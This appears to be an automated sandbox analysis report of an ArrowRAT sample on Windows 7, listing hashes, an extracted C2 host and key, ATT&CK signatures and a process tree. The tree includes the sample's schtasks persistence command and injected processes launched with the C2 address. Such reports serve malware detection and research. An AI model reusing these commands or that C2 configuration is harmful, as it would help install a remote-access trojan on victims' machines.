Analysis
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max time kernel
150s -
max time network
147s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
24-09-2024 12:39
Static task
static1
Behavioral task
behavioral1
Sample
e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe
Resource
win10v2004-20240802-en
General
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Target
e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe
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Size
300.0MB
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MD5
135b97e053b660f8e6cacd58965b93cd
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SHA1
828e92ad30ac243ec063252a338519e4429940e3
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SHA256
e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027
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SHA512
6b19d2143f021feeccf5833b57fff55fbae3c72ea0eb480a893b48acd9ce2bdb0c895cd3516133436b4e937f97ee4e42ce58b4aa3729d1f3c29fa837bc19366c
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SSDEEP
12288:VD9TFmMwfrck/YEwEVhftq6rmIGD9P5X5U4LVkYdS7Ffi:KgERVNQ6Fq9hX5U4L94Zi
Malware Config
Extracted
arrowrat
Client
vncnew1984.duckdns.org:1984
ecZCILAfG
Signatures
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Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
Processes:
explorer.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe -
Executes dropped EXE 1 IoCs
Processes:
kio.exepid process 1668 kio.exe -
Suspicious use of SetThreadContext 4 IoCs
Processes:
e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exeRegAsm.exekio.exeRegAsm.exedescription pid process target process PID 2784 set thread context of 2532 2784 e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe RegAsm.exe PID 2532 set thread context of 2524 2532 RegAsm.exe cvtres.exe PID 1668 set thread context of 1744 1668 kio.exe RegAsm.exe PID 1744 set thread context of 1940 1744 RegAsm.exe cvtres.exe -
System Location Discovery: System Language Discovery 1 TTPs 14 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
schtasks.execvtres.execmd.execmd.execmd.execmd.exee659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exeRegAsm.execvtres.execmd.execmd.exekio.exeRegAsm.exeschtasks.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cvtres.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegAsm.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cvtres.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language kio.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegAsm.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe -
Processes:
explorer.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Internet Explorer\Toolbar explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1" explorer.exe -
Modifies registry class 5 IoCs
Processes:
explorer.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff explorer.exe Key created \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell explorer.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 3008 schtasks.exe 2748 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
RegAsm.exeRegAsm.exepid process 2532 RegAsm.exe 2532 RegAsm.exe 1744 RegAsm.exe 1744 RegAsm.exe 1744 RegAsm.exe 1744 RegAsm.exe 1744 RegAsm.exe -
Suspicious use of AdjustPrivilegeToken 15 IoCs
Processes:
e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exeRegAsm.exeexplorer.exekio.exeRegAsm.exedescription pid process Token: SeDebugPrivilege 2784 e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe Token: SeDebugPrivilege 2532 RegAsm.exe Token: SeShutdownPrivilege 2672 explorer.exe Token: SeShutdownPrivilege 2672 explorer.exe Token: SeShutdownPrivilege 2672 explorer.exe Token: SeShutdownPrivilege 2672 explorer.exe Token: SeShutdownPrivilege 2672 explorer.exe Token: SeShutdownPrivilege 2672 explorer.exe Token: SeShutdownPrivilege 2672 explorer.exe Token: SeShutdownPrivilege 2672 explorer.exe Token: SeShutdownPrivilege 2672 explorer.exe Token: SeShutdownPrivilege 2672 explorer.exe Token: SeDebugPrivilege 1668 kio.exe Token: SeShutdownPrivilege 2672 explorer.exe Token: SeDebugPrivilege 1744 RegAsm.exe -
Suspicious use of FindShellTrayWindow 26 IoCs
Processes:
explorer.exepid process 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe -
Suspicious use of SendNotifyMessage 17 IoCs
Processes:
explorer.exepid process 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe 2672 explorer.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
RegAsm.exeRegAsm.exepid process 2532 RegAsm.exe 1744 RegAsm.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exeRegAsm.execmd.exeexplorer.exetaskeng.exekio.exeRegAsm.exedescription pid process target process PID 2784 wrote to memory of 2532 2784 e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe RegAsm.exe PID 2784 wrote to memory of 2532 2784 e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe RegAsm.exe PID 2784 wrote to memory of 2532 2784 e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe RegAsm.exe PID 2784 wrote to memory of 2532 2784 e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe RegAsm.exe PID 2784 wrote to memory of 2532 2784 e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe RegAsm.exe PID 2784 wrote to memory of 2532 2784 e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe RegAsm.exe PID 2784 wrote to memory of 2532 2784 e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe RegAsm.exe PID 2784 wrote to memory of 2532 2784 e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe RegAsm.exe PID 2784 wrote to memory of 2532 2784 e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe RegAsm.exe PID 2784 wrote to memory of 2532 2784 e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe RegAsm.exe PID 2784 wrote to memory of 2532 2784 e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe RegAsm.exe PID 2784 wrote to memory of 2532 2784 e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe RegAsm.exe PID 2532 wrote to memory of 2672 2532 RegAsm.exe explorer.exe PID 2532 wrote to memory of 2672 2532 RegAsm.exe explorer.exe PID 2532 wrote to memory of 2672 2532 RegAsm.exe explorer.exe PID 2532 wrote to memory of 2672 2532 RegAsm.exe explorer.exe PID 2532 wrote to memory of 2524 2532 RegAsm.exe cvtres.exe PID 2532 wrote to memory of 2524 2532 RegAsm.exe cvtres.exe PID 2532 wrote to memory of 2524 2532 RegAsm.exe cvtres.exe PID 2532 wrote to memory of 2524 2532 RegAsm.exe cvtres.exe PID 2532 wrote to memory of 2524 2532 RegAsm.exe cvtres.exe PID 2532 wrote to memory of 2524 2532 RegAsm.exe cvtres.exe PID 2532 wrote to memory of 2524 2532 RegAsm.exe cvtres.exe PID 2532 wrote to memory of 2524 2532 RegAsm.exe cvtres.exe PID 2532 wrote to memory of 2524 2532 RegAsm.exe cvtres.exe PID 2784 wrote to memory of 2296 2784 e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe cmd.exe PID 2784 wrote to memory of 2296 2784 e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe cmd.exe PID 2784 wrote to memory of 2296 2784 e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe cmd.exe PID 2784 wrote to memory of 2296 2784 e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe cmd.exe PID 2784 wrote to memory of 2976 2784 e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe cmd.exe PID 2784 wrote to memory of 2976 2784 e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe cmd.exe PID 2784 wrote to memory of 2976 2784 e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe cmd.exe PID 2784 wrote to memory of 2976 2784 e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe cmd.exe PID 2784 wrote to memory of 2560 2784 e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe cmd.exe PID 2784 wrote to memory of 2560 2784 e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe cmd.exe PID 2784 wrote to memory of 2560 2784 e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe cmd.exe PID 2784 wrote to memory of 2560 2784 e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe cmd.exe PID 2976 wrote to memory of 3008 2976 cmd.exe schtasks.exe PID 2976 wrote to memory of 3008 2976 cmd.exe schtasks.exe PID 2976 wrote to memory of 3008 2976 cmd.exe schtasks.exe PID 2976 wrote to memory of 3008 2976 cmd.exe schtasks.exe PID 2672 wrote to memory of 2832 2672 explorer.exe ctfmon.exe PID 2672 wrote to memory of 2832 2672 explorer.exe ctfmon.exe PID 2672 wrote to memory of 2832 2672 explorer.exe ctfmon.exe PID 1216 wrote to memory of 1668 1216 taskeng.exe kio.exe PID 1216 wrote to memory of 1668 1216 taskeng.exe kio.exe PID 1216 wrote to memory of 1668 1216 taskeng.exe kio.exe PID 1216 wrote to memory of 1668 1216 taskeng.exe kio.exe PID 1668 wrote to memory of 1744 1668 kio.exe RegAsm.exe PID 1668 wrote to memory of 1744 1668 kio.exe RegAsm.exe PID 1668 wrote to memory of 1744 1668 kio.exe RegAsm.exe PID 1668 wrote to memory of 1744 1668 kio.exe RegAsm.exe PID 1668 wrote to memory of 1744 1668 kio.exe RegAsm.exe PID 1668 wrote to memory of 1744 1668 kio.exe RegAsm.exe PID 1668 wrote to memory of 1744 1668 kio.exe RegAsm.exe PID 1668 wrote to memory of 1744 1668 kio.exe RegAsm.exe PID 1668 wrote to memory of 1744 1668 kio.exe RegAsm.exe PID 1668 wrote to memory of 1744 1668 kio.exe RegAsm.exe PID 1668 wrote to memory of 1744 1668 kio.exe RegAsm.exe PID 1668 wrote to memory of 1744 1668 kio.exe RegAsm.exe PID 1744 wrote to memory of 1496 1744 RegAsm.exe explorer.exe PID 1744 wrote to memory of 1496 1744 RegAsm.exe explorer.exe PID 1744 wrote to memory of 1496 1744 RegAsm.exe explorer.exe PID 1744 wrote to memory of 1496 1744 RegAsm.exe explorer.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe"C:\Users\Admin\AppData\Local\Temp\e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2784 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2532 -
C:\Windows\explorer.exe"C:\Windows\explorer.exe"3⤵
- Boot or Logon Autostart Execution: Active Setup
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2672 -
C:\Windows\system32\ctfmon.exectfmon.exe4⤵PID:2832
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG3⤵
- System Location Discovery: System Language Discovery
PID:2524
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C:\Windows\SysWOW64\cmd.exe"cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\kio"2⤵
- System Location Discovery: System Language Discovery
PID:2296
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C:\Windows\SysWOW64\cmd.exe"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2976 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:3008
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C:\Windows\SysWOW64\cmd.exe"cmd" /c copy "C:\Users\Admin\AppData\Local\Temp\e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe" "C:\Users\Admin\AppData\Roaming\kio\kio.exe"2⤵
- System Location Discovery: System Language Discovery
PID:2560
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C:\Windows\system32\taskeng.exetaskeng.exe {166E9952-0B80-47D7-8A6E-F9EBD7760777} S-1-5-21-4177215427-74451935-3209572229-1000:JSMURNPT\Admin:Interactive:[1]1⤵
- Suspicious use of WriteProcessMemory
PID:1216 -
C:\Users\Admin\AppData\Roaming\kio\kio.exeC:\Users\Admin\AppData\Roaming\kio\kio.exe2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1668 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1744 -
C:\Windows\explorer.exe"C:\Windows\explorer.exe"4⤵PID:1496
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG4⤵PID:2652
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG4⤵
- System Location Discovery: System Language Discovery
PID:1940
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C:\Windows\SysWOW64\cmd.exe"cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\kio"3⤵
- System Location Discovery: System Language Discovery
PID:2088
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C:\Windows\SysWOW64\cmd.exe"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f3⤵
- System Location Discovery: System Language Discovery
PID:1948 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:2748
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C:\Windows\SysWOW64\cmd.exe"cmd" /c copy "C:\Users\Admin\AppData\Roaming\kio\kio.exe" "C:\Users\Admin\AppData\Roaming\kio\kio.exe"3⤵
- System Location Discovery: System Language Discovery
PID:1020
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Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Active Setup
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Active Setup
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
46KB
MD502d2c46697e3714e49f46b680b9a6b83
SHA184f98b56d49f01e9b6b76a4e21accf64fd319140
SHA256522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9
SHA51260348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac